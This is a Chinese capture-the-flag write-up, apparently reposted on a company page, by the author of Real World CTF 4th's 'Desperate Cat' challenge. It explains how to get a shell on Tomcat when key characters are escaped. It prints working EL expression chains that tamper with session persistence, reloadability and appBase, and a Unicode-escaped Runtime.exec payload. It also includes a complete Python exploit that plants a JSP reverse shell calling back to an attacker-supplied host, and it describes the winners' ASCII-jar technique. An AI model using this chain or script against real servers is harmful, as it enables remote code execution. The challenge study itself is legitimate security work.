服务热线
15527777548/18696195380
发布时间:2022-01-25
简要描述:
概述在 Real World CTF 4th 中,我很荣幸再次作为出题人参与出题。我出了一道名叫 Desperate Cat 的题目,考察的是在严苛条件下 Tomcat Web 目录写文件 getshell 的利用。Despe...
在 Real World CTF 4th 中,我很荣幸再次作为出题人参与出题。我出了一道名叫 Desperate Cat 的题目,考察的是在严苛条件下 Tomcat Web 目录写文件 getshell 的利用。
Desperate Cat 的出题灵感源自于我大哥 Noxxx 在某次渗透攻防项目中碰到的实际问题场景。但当时由于攻防项目节奏紧张,而且还有其他事情要处理,这个问题我们在当时并没有解决。在那之后我空闲下来时,定下心来再思考,终于是给搞定了,因此把它做成了 Real World CTF 题目。
作为读者,如果你没有参与此次 Real World CTF 4th,但是对 Java Web 漏洞利用感兴趣,那么不妨往下阅读,我相信你或多或少也能从其中收获到一些自己的思考和启发。
Desperate Cat 和它改编来源的原系统漏洞场景是这样的(我在题目中基本上照搬了原系统的相关处理代码,尽可能地做到情景再现):
要解决的问题就是,在这样的场景下,怎么 getshell,拿到服务器权限?
P.S. 没有参加过 Real World CTF 4th 的读者建议看到这里不妨稍微暂停一会,先自己思考一番,如果是你要解决这个问题,你准备怎么做?
不难发现,这个问题棘手的地方主要是在于太多关键的字符被转义处理了,其中最重要的两类字符是尖括号和圆括号。
如果只是不能用尖括号,我们可以很轻易地通过 Tomcat 支持的 EL 表达式(Expression Language)来解决。
由于 EL 规范里规定默认会引入java.lang.* 下的包,所以可以直接取 Runtime 类执行命令:
${Runtime.getRuntime().exec(param.cmd)}
当然你也可以通过反射的形式来调用其他类的方法。
EL 的解析不依赖于 JSP 文件的代码标记 %...%>,因此可以规避尖括号。不过需要 web.xml 开启 EL 解析的支持才能执行,但这个问题不大,从 web.xml 2.4 规范版本开始后,默认都已经支持 EL 了。
如果只是不能用圆括号,问题也很简单,由于 Java 代码编译解析器会识别 Unicode 形式的编码,所以你可以在 JSP 代码块里直接一股脑把所有字符 Unicode 编码:
%\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>
然而现在的问题是尖括号和圆括号都用不了,那要怎么办呢?
我先说下我的思路。在我思考这个问题时,我的想法是从 Tomcat 对于 JSP 以及 EL 的解析执行上寻求突破:
经过许久的尝试,最终我成功用第4个办法完成了利用,从 JSP EL 中自带解析的隐式对象出发,通过组合4个 EL 表达式链,完成了 RCE!
默认配置下,Tomcat 在关闭服务的时候,会将用户 Session 中的数据以序列化的形式持久存储到本地,这样下次 Tomcat 再启动的时候,能够从本地存储的 Session 文件中恢复先前的 Session 数据内容,避免造成用户 Session 还未到期就由于服务重启而失效。
Session 持久化存储文件的默认路径是在 work 应用目录下的 SESSIONS.ser
而通过执行以下 EL 表达式,就可以做到修改 Session 文件的存储路径:
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
由于 EL. 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法,因此这段表达式等同于执行:
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));
然后再通过执行如下表达式,往 Session 里写数据:
${sessionScope[param.b]=param.c}
这样就可以做到让 Tomcat 正常停止服务时,往一个任意路径下的文件写入部分内容可控的字符串(这部分是不会有特殊字符过滤转义处理的):
?a=/opt/tomcat/webapps/ROOT/session.jsp
而/WEB-INF/classes/ 或者 /WEB-INF/lib/ 目录下的文件发生变化具体指的是满足以下任意一项:
由于场景中的文件写入漏洞本身可以指定目录,因此通过往 /WEB-INF/lib/ 下写入一个任意的后缀名为 jar 的文件,哪怕内容无法被正常解析,在 Context reloadable 为 true 的情况下就会触发 reload。
通过 Context reload,就可以实现在不重启的情况下写入 Session 数据文件到任意路径,得到 webshell。
问题解决了吗?其实还没有。
通过前2步,当 Context reload 时,尽管确实会将我们构造的 Session 里的恶意数据写到本地 JSP,但由于我们写入的 Jar 文件不合法(前后存在脏数据),应用 Context 会 reload 失败,导致部署的这整个应用直接 404 无法访问!
如果程序已经挂掉了,那写入的 webshell 也没作用了,毕竟都已经访问不到了。
有办法补救吗,当然!在触发会造成网站瘫痪的 Context reload 之前,我们可以先通过执行 EL 表达式去修改整个 Tomcat 的 appBase 目录:
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}
它等效于执行:
pageContext.getServletContext().getClassLoader().getResources().getContext().getParent().setAppBase(request.getParameter("d"));
appBase 属性表示所有存放 webapp 的目录,它的值默认是 webapps。
假如我们通过 EL 表达式把它的值修改为系统根目录 / ,这时候会发生一个很神奇的事情,就是整个系统盘全部被映射到 Tomcat 上了,整个系统文件资源你都可以直接通过 Tomcat 去访问:
这样的话,就算原来的应用因为 Context reload 失败而导致 404 失效,还有其他的目录都可供访问。只要把 Session 持久化的存储文件写到任意一个其他目录就好啦。
最后将所有的 EL 表达式集合起来就得到了:
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}
也就是 Desperate Cat intended solution exploit:
#!/usr/bin/env python3
import sys
import time
import requests
PROXIES = None
if __name__ == '__main__':
target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
reverse_shell_host = sys.argv[2]
reverse_shell_port = sys.argv[3]
el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >%>"""
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'voidfyoo',
'c': reverse_shell_jsp_payload,
'd': '/',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
},
proxies=PROXIES)
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)
Desperate Cat 最终由 WreckTheLine 和 Sauercloud 这两个战队的选手解出,出乎意料的是,他们用的办法核心思路和我的想法并不一样!
由于程序对一些关键的特殊字符做了转义处理,而且前后都有脏数据、文件内容以字符串编码的形式写入,所以我起初在思考问题的时候想当然地觉得写入 Jar 文件到 /WEB-INF/lib/ 目录下去加载执行是根本不可能的。但WreckTheLine 和 Sauercloud 他们证明了这一点其实是完全可行的!
其实之前已经有人研究过如何使用[A-Za-z0-9] 范围内的字符去构造压缩数据:
WreckTheLine 和 Sauercloud 他们参考了相关的构造算法,构造出了所有字节都在 0-127 范围内、且不出现被转义字符的特殊 Jar 包,使得即使前后都有脏数据、且内容以字符串编码形式被写入,Java 仍然会认为它是一个有效的 Jar 包。
写入有效的 Jar 包后仍然要考虑让应用重新加载的问题,这样才能引入 Jar 包。对于这个问题,WreckTheLine 和 Sauercloud 战队的选手也没有借助 EL 表达式,而是借助修改 Tomcat Context WatchedResource 来触发:
在 Tomcat 9 环境下,默认的 WatchedResource 包括:
Tomcat 会有后台线程去监控这些文件资源,在 Tomcat 开启 autoDeploy 的情况下(此值默认为 true,即默认开启 autoDeploy),一旦发现这些文件资源的 lastModified 时间被修改,也会触发 reload:
由于应用本身没有 WEB-INF/tomcat-web.xml 配置文件, 因此通过利用程序本身的写文件漏洞,来创建一个 WEB-INF/tomcat-web.xml/ 目录,也可以让应用强行触发 reload,加载进先前写入的 Jar 包。
进行到这里,对于 WreckTheLine 和 Sauercloud 这两个战队的选手而言,已经能够写入有效的 Jar 包并触发重新加载,也就意味着只差最后一步了。
Sauercloud 战队的选手终于在最后借助了 EL 表达式。先构造 EL 表达式如下:
${applicationScope[param.a]=param.b}
然后发送请求:
?a=org.apache.jasper.compiler.StringInterpreter
之后再访问 JSP 进行表达式解析的时候,就会触发类加载,加载先前写入在 Jar 中的恶意类,完成 RCE:
而 WreckTheLine 战队的选手自始至终都没有借助 EL 表达式,他们把 JSP Webshell 放在先前构造的 Jar 包里的 META-INF/resources/目录,这样就能直接通过 Web 访问了!
后记
这道题目算是我目前解决过的最复杂的问题之一,无论是我自己尝试解决这些问题的过程、还是赛后看到其他选手的解题办法,我都从中收获良多。也希望参与过比赛的选手或者作为读者的你们能从中有所启发 :D
参考资料
https://jakarta.ee/specifications/expression-language/4.0/jakarta-expression-language-spec-4.0.html
https://docs.oracle.com/cd/E19316-01/819-3669/bnajh/index.html
https://tomcat.apache.org/tomcat-8.5-doc/config/manager.html
https://tomcat.apache.org/tomcat-7.0-doc/config/context.html
https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
https://github.com/molnarg/ascii-zip
https://github.com/Arusekk/ascii-zip
https://tomcat.apache.org/tomcat-9.0-doc/config/context.html
如果您有任何问题,请跟我们联系!
联系我们